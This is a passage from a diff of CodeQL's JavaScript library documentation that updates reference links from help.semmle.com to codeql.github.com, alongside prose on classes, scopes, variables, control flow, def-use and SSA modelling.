runtime. - ``MemberDefinition.getName()``: gets the name of this member if it can be determined statically. - ``MemberDefinition.getInit()``: gets the initializer of this field; for methods, the initializer is a function expressions, for fields it may be an arbitrary expression, and may be undefined. -There are three classes for modeling special methods: `ConstructorDefinition <https://help.semmle.com/qldoc/javascript/semmle/javascript/Classes.qll/type.Classes$ConstructorDefinition.html>`__ models constructors, while `GetterMethodDefinition <https://help.semmle.com/qldoc/javascript/semmle/javascript/Classes.qll/type.Classes$GetterMethodDefinition.html>`__ and `SetterMethodDefinition <https://help.semmle.com/qldoc/javascript/semmle/javascript/Classes.qll/type.Classes$SetterMethodDefinition.html>`__ model getter and setter methods, respectively. +There are three classes for modeling special methods: `ConstructorDefinition <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Classes.qll/type.Classes$ConstructorDefinition.html>`__ models constructors, while `GetterMethodDefinition <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Classes.qll/type.Classes$GetterMethodDefinition.html>`__ and `SetterMethodDefinition <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Classes.qll/type.Classes$SetterMethodDefinition.html>`__ model getter and setter methods, respectively. Declarations and binding patterns ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ -Variables are declared by declaration statements (class `DeclStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$DeclStmt.html>`__), which come in three flavors: ``var`` statements (represented by class `VarDeclStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$VarDeclStmt.html>`__), ``const`` statements (represented by class `ConstDeclStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$ConstDeclStmt.html>`__), and ``let`` statements (represented by class `LetStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$LetStmt.html>`__). Every declaration statement has one or more declarators, represented by class `VariableDeclarator <https://help.semmle.com/qldoc/javascript/semmle/javascript/Variables.qll/type.Variables$VariableDeclarator.html>`__. +Variables are declared by declaration statements (class `DeclStmt <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$DeclStmt.html>`__), which come in three flavors: ``var`` statements (represented by class `VarDeclStmt <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$VarDeclStmt.html>`__), ``const`` statements (represented by class `ConstDeclStmt <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$ConstDeclStmt.html>`__), and ``let`` statements (represented by class `LetStmt <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$LetStmt.html>`__). Every declaration statement has one or more declarators, represented by class `VariableDeclarator <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Variables.qll/type.Variables$VariableDeclarator.html>`__. Each declarator consists of a binding pattern, returned by predicate ``VariableDeclarator.getBindingPattern()``, and an optional initializing expression, returned by ``VariableDeclarator.getInit()``. Often, the binding pattern is a simple identifier, as in ``var x = 42``. In ECMAScript 2015 and later, however, it can also be a more complex destructuring pattern, as in ``var [x, y] = arr``. -The various kinds of binding patterns are represented by class `BindingPattern <https://help.semmle.com/qldoc/javascript/semmle/javascript/Variables.qll/type.Variables$BindingPattern.html>`__ and its subclasses: +The various kinds of binding patterns are represented by class `BindingPattern <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Variables.qll/type.Variables$BindingPattern.html>`__ and its subclasses: -- `VarRef <https://help.semmle.com/qldoc/javascript/semmle/javascript/Variables.qll/type.Variables$VarRef.html>`__: a simple identifier in an l-value position, for example the ``x`` in ``var x`` or in ``x = 42`` -- `Parameter <https://help.semmle.com/qldoc/javascript/semmle/javascript/Variables.qll/type.Variables$Parameter.html>`__: a function or catch clause parameter -- `ArrayPattern <https://help.semmle.com/qldoc/javascript/semmle/javascript/Variables.qll/type.Variables$ArrayPattern.html>`__: an array pattern, for example, the left-hand side of ``[x, y] = arr`` -- `ObjectPattern <https://help.semmle.com/qldoc/javascript/semmle/javascript/Variables.qll/type.Variables$ObjectPattern.html>`__: an object pattern, for example, the left-hand side of ``{x, y: z} = o`` +- `VarRef <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Variables.qll/type.Variables$VarRef.html>`__: a simple identifier in an l-value position, for example the ``x`` in ``var x`` or in ``x = 42`` +- `Parameter <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Variables.qll/type.Variables$Parameter.html>`__: a function or catch clause parameter +- `ArrayPattern <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Variables.qll/type.Variables$ArrayPattern.html>`__: an array pattern, for example, the left-hand side of ``[x, y] = arr`` +- `ObjectPattern <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Variables.qll/type.Variables$ObjectPattern.html>`__: an object pattern, for example, the left-hand side of ``{x, y: z} = o`` Here is an example of a query to find declaration statements that declare the same variable more than once, excluding results in minified code: @@ -451,11 +451,11 @@ Here is an example of a query to find declaration statements that declare the sa Properties ^^^^^^^^^^ -Properties in object literals are represented by class `Property <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Property.html>`__, which is also a subclass of `ASTNode <https://help.semmle.com/qldoc/javascript/semmle/javascript/AST.qll/type.AST$ASTNode.html>`__, but neither of `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ nor of `Stmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$Stmt.html>`__. +Properties in object literals are represented by class `Property <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$Property.html>`__, which is also a subclass of `ASTNode <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/AST.qll/type.AST$ASTNode.html>`__, but neither of `Expr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ nor of `Stmt <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$Stmt.html>`__. -Class `Property <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Property.html>`__ has two subclasses `ValueProperty <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$ValueProperty.html>`__ and `PropertyAccessor <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$PropertyAccessor.html>`__, which represent, respectively, normal value properties and getter/setter properties. Class `PropertyAccessor <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$PropertyAccessor.html>`__, in turn, has two subclasses `PropertyGetter <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$PropertyGetter.html>`__ and `PropertySetter <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$PropertySetter.html>`__ representing getters and setters, respectively. +Class `Property <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$Property.html>`__ has two subclasses `ValueProperty <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$ValueProperty.html>`__ and `PropertyAccessor <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$PropertyAccessor.html>`__, which represent, respectively, normal value properties and getter/setter properties. Class `PropertyAccessor <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$PropertyAccessor.html>`__, in turn, has two subclasses `PropertyGetter <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$PropertyGetter.html>`__ and `PropertySetter <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$PropertySetter.html>`__ representing getters and setters, respectively. -The predicates ``Property.getName()`` and ``Property.getInit()`` provide access to the defined property's name and its initial value. For `PropertyAccessor <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$PropertyAccessor.html>`__ and its subclasses, ``getInit()`` is overloaded to return the getter/setter function. +The predicates ``Property.getName()`` and ``Property.getInit()`` provide access to the defined property's name and its initial value. For `PropertyAccessor <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$PropertyAccessor.html>`__ and its subclasses, ``getInit()`` is overloaded to return the getter/setter function. As an example of a query involving properties, consider the following query that flags object expressions containing two identically named properties, excluding results in minified code: @@ -476,30 +476,30 @@ As an example of a query involving properties, consider the following query that Modules ^^^^^^^ -The JavaScript library has support for working with ECMAScript 2015 modules, as well as legacy CommonJS modules (still commonly employed by Node.js code bases) and AMD-style modules. The classes `ES2015Module <https://help.semmle.com/qldoc/javascript/semmle/javascript/ES2015Modules.qll/type.ES2015Modules$ES2015Module.html>`__, `NodeModule <https://help.semmle.com/qldoc/javascript/semmle/javascript/NodeJS.qll/type.NodeJS$NodeModule.html>`__, and `AMDModule <https://help.semmle.com/qldoc/javascript/semmle/javascript/AMD.qll/type.AMD$AmdModule.html>`__ represent these three types of modules, and all three extend the common superclass `Module <https://help.semmle.com/qldoc/javascript/semmle/javascript/Modules.qll/type.Modules$Module.html>`__. +The JavaScript library has support for working with ECMAScript 2015 modules, as well as legacy CommonJS modules (still commonly employed by Node.js code bases) and AMD-style modules. The classes `ES2015Module <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/ES2015Modules.qll/type.ES2015Modules$ES2015Module.html>`__, `NodeModule <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/NodeJS.qll/type.NodeJS$NodeModule.html>`__, and `AMDModule <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/AMD.qll/type.AMD$AmdModule.html>`__ represent these three types of modules, and all three extend the common superclass `Module <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Modules.qll/type.Modules$Module.html>`__. -The most important member predicates defined by `Module <https://help.semmle.com/qldoc/javascript/semmle/javascript/Modules.qll/type.Modules$Module.html>`__ are: +The most important member predicates defined by `Module <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Modules.qll/type.Modules$Module.html>`__ are: - ``Module.getName()``: gets the name of the module, which is just the stem (that is, the basename without extension) of the enclosing file. - ``Module.getAnImportedModule()``: gets another module that is imported (through ``import`` or ``require``) by this module. - ``Module.getAnExportedSymbol()``: gets the name of a symbol that this module exports. -Moreover, there is a class `Import <https://help.semmle.com/qldoc/javascript/semmle/javascript/Modules.qll/type.Modules$Import.html>`__ that models both ECMAScript 2015-style ``import`` declarations and CommonJS/AMD-style ``require`` calls; its member predicate ``Import.getImportedModule`` provides access to the module the import refers to, if it can be determined statically. +Moreover, there is a class `Import <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Modules.qll/type.Modules$Import.html>`__ that models both ECMAScript 2015-style ``import`` declarations and CommonJS/AMD-style ``require`` calls; its member predicate ``Import.getImportedModule`` provides access to the module the import refers to, if it can be determined statically. Name binding ~~~~~~~~~~~~ -Name binding is modeled in the JavaScript libraries using four concepts: *scopes*, *variables*, *variable declarations*, and *variable accesses*, represented by the classes `Scope <https://help.semmle.com/qldoc/javascript/semmle/javascript/Variables.qll/type.Variables$Scope.html>`__, `Variable <https://help.semmle.com/qldoc/javascript/semmle/javascript/Variables.qll/type.Variables$Variable.html>`__, `VarDecl <https://help.semmle.com/qldoc/javascript/semmle/javascript/Variables.qll/type.Variables$VarDecl.html>`__ and `VarAccess <https://help.semmle.com/qldoc/javascript/semmle/javascript/Variables.qll/type.Variables$VarAccess.html>`__, respectively. +Name binding is modeled in the JavaScript libraries using four concepts: *scopes*, *variables*, *variable declarations*, and *variable accesses*, represented by the classes `Scope <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Variables.qll/type.Variables$Scope.html>`__, `Variable <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Variables.qll/type.Variables$Variable.html>`__, `VarDecl <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Variables.qll/type.Variables$VarDecl.html>`__ and `VarAccess <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Variables.qll/type.Variables$VarAccess.html>`__, respectively. Scopes ^^^^^^ -In ECMAScript 5, there are three kinds of scopes: the global scope (one per program), function scopes (one per function), and catch clause scopes (one per ``catch`` clause). These three kinds of scopes are represented by the classes `GlobalScope <https://help.semmle.com/qldoc/javascript/semmle/javascript/Variables.qll/type.Variables$GlobalScope.html>`__, `FunctionScope <https://help.semmle.com/qldoc/javascript/semmle/javascript/Variables.qll/type.Variables$FunctionScope.html>`__ and `CatchScope <https://help.semmle.com/qldoc/javascript/semmle/javascript/Variables.qll/type.Variables$CatchScope.html>`__. ECMAScript 2015 adds block scopes for ``let``-bound variables, which are also represented by class `Scope <https://help.semmle.com/qldoc/javascript/semmle/javascript/Variables.qll/type.Variables$Scope.html>`__, class expression scopes (`ClassExprScope <https://help.semmle.com/qldoc/javascript/semmle/javascript/Classes.qll/type.Classes$ClassExprScope.html>`__), -and module scopes (`ModuleScope <https://help.semmle.com/qldoc/javascript/semmle/javascript/Variables.qll/type.Variables$ModuleScope.html>`__). +In ECMAScript 5, there are three kinds of scopes: the global scope (one per program), function scopes (one per function), and catch clause scopes (one per ``catch`` clause). These three kinds of scopes are represented by the classes `GlobalScope <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Variables.qll/type.Variables$GlobalScope.html>`__, `FunctionScope <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Variables.qll/type.Variables$FunctionScope.html>`__ and `CatchScope <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Variables.qll/type.Variables$CatchScope.html>`__. ECMAScript 2015 adds block scopes for ``let``-bound variables, which are also represented by class `Scope <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Variables.qll/type.Variables$Scope.html>`__, class expression scopes (`ClassExprScope <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Classes.qll/type.Classes$ClassExprScope.html>`__), +and module scopes (`ModuleScope <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Variables.qll/type.Variables$ModuleScope.html>`__). -Class `Scope <https://help.semmle.com/qldoc/javascript/semmle/javascript/Variables.qll/type.Variables$Scope.html>`__ provides the following API: +Class `Scope <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Variables.qll/type.Variables$Scope.html>`__ provides the following API: -- ``Scope.getScopeElement()`` returns the AST node inducing this scope; undefined for `GlobalScope <https://help.semmle.com/qldoc/javascript/semmle/javascript/Variables.qll/type.Variables$GlobalScope.html>`__. +- ``Scope.getScopeElement()`` returns the AST node inducing this scope; undefined for `GlobalScope <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Variables.qll/type.Variables$GlobalScope.html>`__. - ``Scope.getOuterScope()`` returns the lexically enclosing scope of this scope. - ``Scope.getAnInnerScope()`` returns a scope lexically nested inside this scope. - ``Scope.getVariable(name)``, ``Scope.getAVariable()`` return a variable declared (implicitly or explicitly) in this scope. @@ -507,22 +507,22 @@ Class `Scope <https://help.semmle.com/qldoc/javascript/semmle/javascript/Variabl Variables ^^^^^^^^^ -The `Variable <https://help.semmle.com/qldoc/javascript/semmle/javascript/Variables.qll/type.Variables$Variable.html>`__ class models all variables in a JavaScript program, including global variables, local variables, and parameters (both of functions and ``catch`` clauses), whether explicitly declared or not. +The `Variable <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Variables.qll/type.Variables$Variable.html>`__ class models all variables in a JavaScript program, including global variables, local variables, and parameters (both of functions and ``catch`` clauses), whether explicitly declared or not. It is important not to confuse variables and their declarations: local variables may have more than one declaration, while global variables and the implicitly declared local ``arguments`` variable need not have a declaration at all. Variable declarations and accesses ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ -Variables may be declared by variable declarators, by function declaration statements and expressions, by class declaration statements or expressions, or by parameters of functions and ``catch`` clauses. While these declarations differ in their syntactic form, in each case there is an identifier naming the declared variable. We consider that identifier to be the declaration proper, and assign it the class `VarDecl <https://help.semmle.com/qldoc/javascript/semmle/javascript/Variables.qll/type.Variables$VarDecl.html>`__. Identifiers that reference a variable, on the other hand, are given the class `VarAccess <https://help.semmle.com/qldoc/javascript/semmle/javascript/Variables.qll/type.Variables$VarAccess.html>`__. +Variables may be declared by variable declarators, by function declaration statements and expressions, by class declaration statements or expressions, or by parameters of functions and ``catch`` clauses. While these declarations differ in their syntactic form, in each case there is an identifier naming the declared variable. We consider that identifier to be the declaration proper, and assign it the class `VarDecl <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Variables.qll/type.Variables$VarDecl.html>`__. Identifiers that reference a variable, on the other hand, are given the class `VarAccess <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Variables.qll/type.Variables$VarAccess.html>`__. The most important predicates involving variables, their declarations, and their accesses are as follows: - ``Variable.getName()``, ``VarDecl.getName()``, ``VarAccess.getName()`` return the name of the variable. - ``Variable.getScope()`` returns the scope to which the variable belongs. - ``Variable.isGlobal()``, ``Variable.isLocal()``, ``Variable.isParameter()`` determine whether the variable is a global variable, a local variable, or a parameter variable, respectively. -- ``Variable.getAnAccess()`` maps a `Variable <https://help.semmle.com/qldoc/javascript/semmle/javascript/Variables.qll/type.Variables$Variable.html>`__ to all `VarAccess <https://help.semmle.com/qldoc/javascript/semmle/javascript/Variables.qll/type.Variables$VarAccess.html>`__\ es that refer to it. -- ``Variable.getADeclaration()`` maps a `Variable <https://help.semmle.com/qldoc/javascript/semmle/javascript/Variables.qll/type.Variables$Variable.html>`__ to all `VarDecl <https://help.semmle.com/qldoc/javascript/semmle/javascript/Variables.qll/type.Variables$VarDecl.html>`__\ s that declare it (of which there may be none, one, or more than one). +- ``Variable.getAnAccess()`` maps a `Variable <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Variables.qll/type.Variables$Variable.html>`__ to all `VarAccess <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Variables.qll/type.Variables$VarAccess.html>`__\ es that refer to it. +- ``Variable.getADeclaration()`` maps a `Variable <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Variables.qll/type.Variables$Variable.html>`__ to all `VarDecl <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Variables.qll/type.Variables$VarDecl.html>`__\ s that declare it (of which there may be none, one, or more than one). - ``Variable.isCaptured()`` determines whether the variable is ever accessed in a scope that is lexically nested within the scope where it is declared. As an example, consider the following query which finds distinct function declarations that declare the same variable, that is, two conflicting function declarations within the same scope (again excluding minified code): @@ -542,25 +542,25 @@ As an example, consider the following query which finds distinct function declar Control flow ~~~~~~~~~~~~ -A different program representation in terms of intraprocedural control flow graphs (CFGs) is provided by the classes in library `CFG.qll <https://help.semmle.com/qldoc/javascript/semmle/javascript/CFG.qll/module.CFG.html>`__. +A different program representation in terms of intraprocedural control flow graphs (CFGs) is provided by the classes in library `CFG.qll <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/CFG.qll/module.CFG.html>`__. -Class `ControlFlowNode <https://help.semmle.com/qldoc/javascript/semmle/javascript/CFG.qll/type.CFG$ControlFlowNode.html>`__ represents a single node in the control flow graph, which is either an expression, a statement, or a synthetic control flow node. Note that `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ and `Stmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$Stmt.html>`__ do not inherit from `ControlFlowNode <https://help.semmle.com/qldoc/javascript/semmle/javascript/CFG.qll/type.CFG$ControlFlowNode.html>`__ at the CodeQL level, although their entity types are compatible, so you can explicitly cast from one to the other if you need to map between the AST-based and the CFG-based program representations. +Class `ControlFlowNode <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/CFG.qll/type.CFG$ControlFlowNode.html>`__ represents a single node in the control flow graph, which is either an expression, a statement, or a synthetic control flow node. Note that `Expr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ and `Stmt <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$Stmt.html>`__ do not inherit from `ControlFlowNode <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/CFG.qll/type.CFG$ControlFlowNode.html>`__ at the CodeQL level, although their entity types are compatible, so you can explicitly cast from one to the other if you need to map between the AST-based and the CFG-based program representations. -There are two kinds of synthetic control flow nodes: entry nodes (class `ControlFlowEntryNode <https://help.semmle.com/qldoc/javascript/semmle/javascript/CFG.qll/type.CFG$ControlFlowEntryNode.html>`__), which represent the beginning of a top-level or function, and exit nodes (class `ControlFlowExitNode <https://help.semmle.com/qldoc/javascript/semmle/javascript/CFG.qll/type.CFG$ControlFlowExitNode.html>`__), which represent their end. They do not correspond to any AST nodes, but simply serve as the unique entry point and exit point of a control flow graph. Entry and exit nodes can be accessed through the predicates ``StmtContainer.getEntry()`` and ``StmtContainer.getExit()``. +There are two kinds of synthetic control flow nodes: entry nodes (class `ControlFlowEntryNode <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/CFG.qll/type.CFG$ControlFlowEntryNode.html>`__), which represent the beginning of a top-level or function, and exit nodes (class `ControlFlowExitNode <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/CFG.qll/type.CFG$ControlFlowExitNode.html>`__), which represent their end. They do not correspond to any AST nodes, but simply serve as the unique entry point and exit point of a control flow graph. Entry and exit nodes can be accessed through the predicates ``StmtContainer.getEntry()`` and ``StmtContainer.getExit()``. Most, but not all, top-levels and functions have another distinguished CFG node, the *start node*. This is the CFG node at which execution begins. Unlike the entry node, which is a synthetic construct, the start node corresponds to an actual program element: for top-levels, it is the first CFG node of the first statement; for functions, it is the CFG node corresponding to their first parameter or, if there are no parameters, the first CFG node of the body. Empty top-levels do not have a start node. For most purposes, using start nodes is preferable to using entry nodes. -The structure of the control flow graph is reflected in the member predicates of `ControlFlowNode <https://help.semmle.com/qldoc/javascript/semmle/javascript/CFG.qll/type.CFG$ControlFlowNode.html>`__: +The structure of the control flow graph is reflected in the member predicates of `ControlFlowNode <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/CFG.qll/type.CFG$ControlFlowNode.html>`__: -- ``ControlFlowNode.getASuccessor()`` returns a `ControlFlowNode <https://help.semmle.com/qldoc/javascript/semmle/javascript/CFG.qll/type.CFG$ControlFlowNode.html>`__ that is a successor of this `ControlFlowNode <https://help.semmle.com/qldoc/javascript/semmle/javascript/CFG.qll/type.CFG$ControlFlowNode.html>`__ in the control flow graph. +- ``ControlFlowNode.getASuccessor()`` returns a `ControlFlowNode <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/CFG.qll/type.CFG$ControlFlowNode.html>`__ that is a successor of this `ControlFlowNode <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/CFG.qll/type.CFG$ControlFlowNode.html>`__ in the control flow graph. - ``ControlFlowNode.getAPredecessor()`` is the inverse of ``getASuccessor()``. - ``ControlFlowNode.isBranch()`` determines whether this node has more than one successor. - ``ControlFlowNode.isJoin()`` determines whether this node has more than one predecessor. - ``ControlFlowNode.isStart()`` determines whether this node is a start node. -Many control-flow-based analyses are phrased in terms of `basic blocks <http://en.wikipedia.org/wiki/Basic_block>`__ rather than single control flow nodes, where a basic block is a maximal sequence of control flow nodes without branches or joins. The class `BasicBlock <https://help.semmle.com/qldoc/javascript/semmle/javascript/BasicBlocks.qll/type.BasicBlocks$BasicBlock.html>`__ from `BasicBlocks.qll <https://help.semmle.com/qldoc/javascript/semmle/javascript/BasicBlocks.qll/module.BasicBlocks.html>`__ represents all such basic blocks. Similar to `ControlFlowNode <https://help.semmle.com/qldoc/javascript/semmle/javascript/CFG.qll/type.CFG$ControlFlowNode.html>`__, it provides member predicates ``getASuccessor()`` and ``getAPredecessor()`` to navigate the control flow graph at the level of basic blocks, and member predicates ``getANode()``, ``getNode(int)``, ``getFirstNode()`` and ``getLastNode()`` to access individual control flow nodes within a basic block. The predicate +Many control-flow-based analyses are phrased in terms of `basic blocks <http://en.wikipedia.org/wiki/Basic_block>`__ rather than single control flow nodes, where a basic block is a maximal sequence of control flow nodes without branches or joins. The class `BasicBlock <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/BasicBlocks.qll/type.BasicBlocks$BasicBlock.html>`__ from `BasicBlocks.qll <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/BasicBlocks.qll/module.BasicBlocks.html>`__ represents all such basic blocks. Similar to `ControlFlowNode <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/CFG.qll/type.CFG$ControlFlowNode.html>`__, it provides member predicates ``getASuccessor()`` and ``getAPredecessor()`` to navigate the control flow graph at the level of basic blocks, and member predicates ``getANode()``, ``getNode(int)``, ``getFirstNode()`` and ``getLastNode()`` to access individual control flow nodes within a basic block. The predicate ``Function.getEntryBB()`` returns the entry basic block in a function, that is, the basic block containing the function's entry node. Similarly, ``Function.getStartBB()`` provides access to the start basic block, which contains the function's start node. As for CFG nodes, ``getStartBB()`` should normally be preferred over ``getEntryBB()``. As an example of an analysis using basic blocks, ``BasicBlock.isLiveAtEntry(v, u)`` determines whether variable ``v`` is `live <http://en.wikipedia.org/wiki/Live_variable_analysis>`__ at the entry of the given basic block, and if so binds ``u`` to a use of ``v`` that refers to its value at the entry. We can use it to find global variables that are used in a function where they are not live (that is, every read of the variable is preceded by a write), suggesting that the variable was meant to be declared as a local variable instead: @@ -582,9 +582,9 @@ Data flow Definitions and uses ^^^^^^^^^^^^^^^^^^^^ -Library `DefUse.qll <https://help.semmle.com/qldoc/javascript/semmle/javascript/DefUse.qll/module.DefUse.html>`__ provides classes and predicates to determine `def-use <http://en.wikipedia.org/wiki/Use-define_chain>`__ relationships between definitions and uses of variables. +Library `DefUse.qll <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/DefUse.qll/module.DefUse.html>`__ provides classes and predicates to determine `def-use <http://en.wikipedia.org/wiki/Use-define_chain>`__ relationships between definitions and uses of variables. -Classes `VarDef <https://help.semmle.com/qldoc/javascript/semmle/javascript/DefUse.qll/type.DefUse$VarDef.html>`__ and `VarUse <https://help.semmle.com/qldoc/javascript/semmle/javascript/DefUse.qll/type.DefUse$VarUse.html>`__ contain all expressions that define and use a variable, respectively. For the former, you can use predicate ``VarDef.getAVariable()`` to find out which variables are defined by a given variable definition (recall that destructuring assignments in ECMAScript 2015 define several variables at the same time). Similarly, predicate ``VarUse.getVariable()`` returns the (single) variable being accessed by a variable use. +Classes `VarDef <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/DefUse.qll/type.DefUse$VarDef.html>`__ and `VarUse <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/DefUse.qll/type.DefUse$VarUse.html>`__ contain all expressions that define and use a variable, respectively. For the former, you can use predicate ``VarDef.getAVariable()`` to find out which variables are defined by a given variable definition (recall that destructuring assignments in ECMAScript 2015 define several variables at the same time). Similarly, predicate ``VarUse.getVariable()`` returns the (single) variable being accessed by a variable use. The def-use information itself is provided by predicate ``VarUse.getADef()``, that connects a use of a variable to a definition of the same variable, where the definition may reach the use. @@ -606,20 +606,20 @@ SSA A more fine-grained representation of a program's data flow based on `Static Simple Assignment Form (SSA) <https://en.wikipedia.org/wiki/Static_single_assignment_form>`__ is provided by the library ``semmle.javascript.SSA``. -In SSA form, each use of a local variable has exactly one (SSA) definition that reaches it. SSA definitions are represented by class `SsaDefinition <https://help.semmle.com/qldoc/javascript/semmle/javascript/SSA.qll/type.SSA$SsaDefinition.html>`__. They are not AST nodes, since not every SSA definition corresponds to an explicit element in the source code. +In SSA form, each use of a local variable has exactly one (SSA) definition that reaches it. SSA definitions are represented by class `SsaDefinition <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/SSA.qll/type.SSA$SsaDefinition.html>`__. They are not AST nodes, since not every SSA definition corresponds to an explicit element in the source code. Altogether, there are five kinds of SSA definitions: -#. Explicit definitions (`SsaExplicitDefinition <https://help.semmle.com/qldoc/javascript/semmle/javascript/SSA.qll/type.SSA$SsaExplicitDefinition.html>`__): these simply wrap a `VarDef <https://help.semmle.com/qldoc/javascript/semmle/javascript/DefUse.qll/type.DefUse$VarDef.html>`__, that is, a definition like ``x = 1`` appearing explicitly in the source code. -#. Implicit initializations (`SsaImplicitInit <https://help.semmle.com/qldoc/javascript/semmle/javascript/SSA.qll/type.SSA$SsaImplicitInit.html>`__): these represent the implicit initialization of local variables with ``undefined`` at the beginning of their scope. -#. Phi nodes (`SsaPhiNode <https://help.semmle.com/qldoc/javascript/semmle/javascript/SSA.qll/type.SSA$SsaPhiNode.html>`__): these are pseudo-definitions that merge two or more SSA definitions where necessary; see the Wikipedia page linked to above for an explanation. -#. Variable captures (`SsaVariableCapture <https://help.semmle.com/qldoc/javascript/semmle/javascript/SSA.qll/type.SSA$SsaVariableCapture.html>`__): these are pseudo-definitions appearing at places in the code where the value of a captured variable may change without there being an explicit assignment, for example due to a function call. -#. Refinement nodes (`SsaRefinementNode <https://help.semmle.com/qldoc/javascript/semmle/javascript/SSA.qll/type.SSA$SsaRefinementNode.html>`__): these are pseudo-definitions appearing at places in the code where something becomes known about a variable; for example, a conditional ``if (x === null)`` induces a refinement node at the beginning of its "then" branch recording the fact that ``x`` is known to be ``null`` there. (In the literature, these are sometimes known as "pi nodes.") +#. Explicit definitions (`SsaExplicitDefinition 